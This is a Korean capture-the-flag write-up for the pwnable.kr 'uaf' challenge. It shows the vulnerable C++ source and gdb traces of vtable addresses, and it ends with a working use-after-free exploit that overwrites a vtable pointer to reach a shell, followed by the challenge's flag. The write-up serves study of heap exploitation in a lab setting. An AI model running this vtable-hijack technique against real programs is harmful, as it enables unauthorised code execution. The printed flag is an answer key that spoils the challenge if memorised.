728x90
반응형
728x90
반응형
728x90
반응형

uaf - 8 pt

Mommy, what is Use After Free bug?


ssh uaf@pwnable.kr -p2222 (pw:guest)



uaf@ubuntu:~$ ls -l

total 24

-rw-r----- 1 root uaf_pwn    22 Sep 25  2015 flag

-r-xr-sr-x 1 root uaf_pwn 15463 Sep 25  2015 uaf

-rw-r--r-- 1 root root     1431 Sep 25  2015 uaf.cpp

uaf@ubuntu:~$ cat uaf.cpp



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
 
class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};
 
class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};
 
class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};
 
int main(int argc, char* argv[]){
    Human* m = new Man("Jack"25);
    Human* w = new Woman("Jill"21);
 
    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;
 
        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }
 
    return 0;    
}
 
cs



UAF 문제다.

Use After Free 취약점은 heap 영역에서 일어난다.

메모리에서 heap 영역은 데이터 영역이나 스택 영역에서 관리하는 형태와는 다른형태의 데이터를 다룬다.

바로 동적할당이다. 컴파일 할 시에는 데이터의 크기를 모르다가 프로그램이 실행되었을 때 크기가 정해지는 경우다.


UAF는 메모리를 malloc 해주었다가 free해주고 다시 malloc한 경우를 말한다.

malloc - free - malloc




일단 프로그램 코드를 살펴보자


main 함수를 보면, 먼저 m, w 객체가 초기화 된다.


그다음 

1을 입력하면 각 객체의 introduce() 함수가 호출된다.


2를 입력하면 char 객체를 생성한다.


3을 입력하면 m, w 객체가 free 된다.




이를 보면, UAF의 조건을 충족함을 알 수 있다.


초기화된 m, w 객체를 3을 입력하여 free 해주고, 다시 2를 입력하여 같은 크기로 새로운 객체를 생성해주면 free된 m, w 자리에 초기화 되면서 취약점이 발생한다. m, w객체의 introduce() 함수주소가 담긴 주소를 알아내어 쉘을 실행해주는 give_shell() 함수주소로 덮어주면 쉘을 딸 수 있을 것이다.




주소들을 구하기 위해 분기마다 브레이크 포인트를 걸었다.


   0x0000000000400fad <+233>: call   0x400dd0 <_ZNSirsERj@plt>

   0x0000000000400fb2 <+238>: mov    eax,DWORD PTR [rbp-0x18]

   0x0000000000400fb5 <+241>: cmp    eax,0x2

   0x0000000000400fb8 <+244>: je     0x401000 <main+316>

   0x0000000000400fba <+246>: cmp    eax,0x3

   0x0000000000400fbd <+249>: je     0x401076 <main+434>

   0x0000000000400fc3 <+255>: cmp    eax,0x1

   0x0000000000400fc6 <+258>: je     0x400fcd <main+265>

---Type <return> to continue, or q <return> to quit---q

Quit

(gdb) b *main+316

Breakpoint 1 at 0x401000

(gdb) b *main+434

Breakpoint 2 at 0x401076

(gdb) b *main+265

Breakpoint 3 at 0x400fcd



그리고 introduce()함수 주소를 구하기 위해 실행해서 1을 입력했다.



(gdb) r

Starting program: /home/uaf/uaf 

1. use

2. after

3. free

1


Breakpoint 3, 0x0000000000400fcd in main ()


=> 0x0000000000400fcd <+265>: mov    rax,QWORD PTR [rbp-0x38]

   0x0000000000400fd1 <+269>: mov    rax,QWORD PTR [rax]

   0x0000000000400fd4 <+272>: add    rax,0x8

   0x0000000000400fd8 <+276>: mov    rdx,QWORD PTR [rax]

   0x0000000000400fdb <+279>: mov    rax,QWORD PTR [rbp-0x38]

   0x0000000000400fdf <+283>: mov    rdi,rax

   0x0000000000400fe2 <+286>: call   rdx

   0x0000000000400fe4 <+288>: mov    rax,QWORD PTR [rbp-0x30]

   0x0000000000400fe8 <+292>: mov    rax,QWORD PTR [rax]

   0x0000000000400feb <+295>: add    rax,0x8

   0x0000000000400fef <+299>: mov    rdx,QWORD PTR [rax]

   0x0000000000400ff2 <+302>: mov    rax,QWORD PTR [rbp-0x30]

   0x0000000000400ff6 <+306>: mov    rdi,rax

   0x0000000000400ff9 <+309>: call   rdx

   0x0000000000400ffb <+311>: jmp    0x4010a9 <main+485>



call rdx를 보면, rdx에 introduce()함수 주소가 담겼음을 알 수 있다.


이전에, rax에 8을 더하기 직전에 브레이크를 걸어 rax의 값을 확인하였습니다.

set print asm-demangle on 을 해주면 글자가 깨지지 않습니다.



(gdb) b *main+272

Breakpoint 5 at 0x400fd4

(gdb) c

Continuing.


Breakpoint 5, 0x0000000000400fd4 in main ()

(gdb) x/x $rax

0x401570 <vtable for Man+16>: 0x0040117a

(gdb) x/i 0x40117a

   0x40117a <Human::give_shell()>: push   rbp

(gdb) 

   0x40117b <Human::give_shell()+1>: mov    rbp,rsp

(gdb) 

   0x40117e <Human::give_shell()+4>: sub    rsp,0x10


rax값이 give_shell()의 주소를 가리킴을 알 수 있습니다.



(gdb) b *main+276

Breakpoint 6 at 0x400fd8

(gdb) c

Continuing.


Breakpoint 6, 0x0000000000400fd8 in main ()

(gdb) x/x $rax

0x401578 <vtable for Man+24>: 0x004012d2

(gdb) x/i 0x4012d2

   0x4012d2 <Man::introduce()>: push   rbp

(gdb) 

   0x4012d3 <Man::introduce()+1>: mov    rbp,rsp

(gdb) 

   0x4012d6 <Man::introduce()+4>: sub    rsp,0x10

(gdb) 

   0x4012da <Man::introduce()+8>: mov    QWORD PTR [rbp-0x8],rdi



그 다음 rax + 8 의 값은 introduce()의 주소를 가지고 있음을 알 수 있습니다.


정리하면

0x401570 이 가리키는 것은 0x40117a로 give_shell()함수

0x401578 (0x401570 + 8) 이 가리키는 것은 0x4012d2로 introduce()함수 이다.


그렇다면 0x401570 대신 0x401568이 들어간다면 0x401568에 8이 더해져 0x401570이 되고, give_shell()함수가 실행될 것이다.



exploit :


uaf@ubuntu:~$ python -c 'print "\x68\x15\x40\x00"' > /tmp/mandu/ex

uaf@ubuntu:~$ ./uaf 4 /tmp/mandu/ex

1. use

2. after

3. free

3


1. use

2. after

3. free

2


your data is allocated

1. use

2. after

3. free

2


your data is allocated

1. use

2. after

3. free

1


$ ls

flag  uaf  uaf.cpp

$ cat flag

yay_f1ag_aft3r_pwning



FLAG : yay_f1ag_aft3r_pwning

728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18

+ Recent posts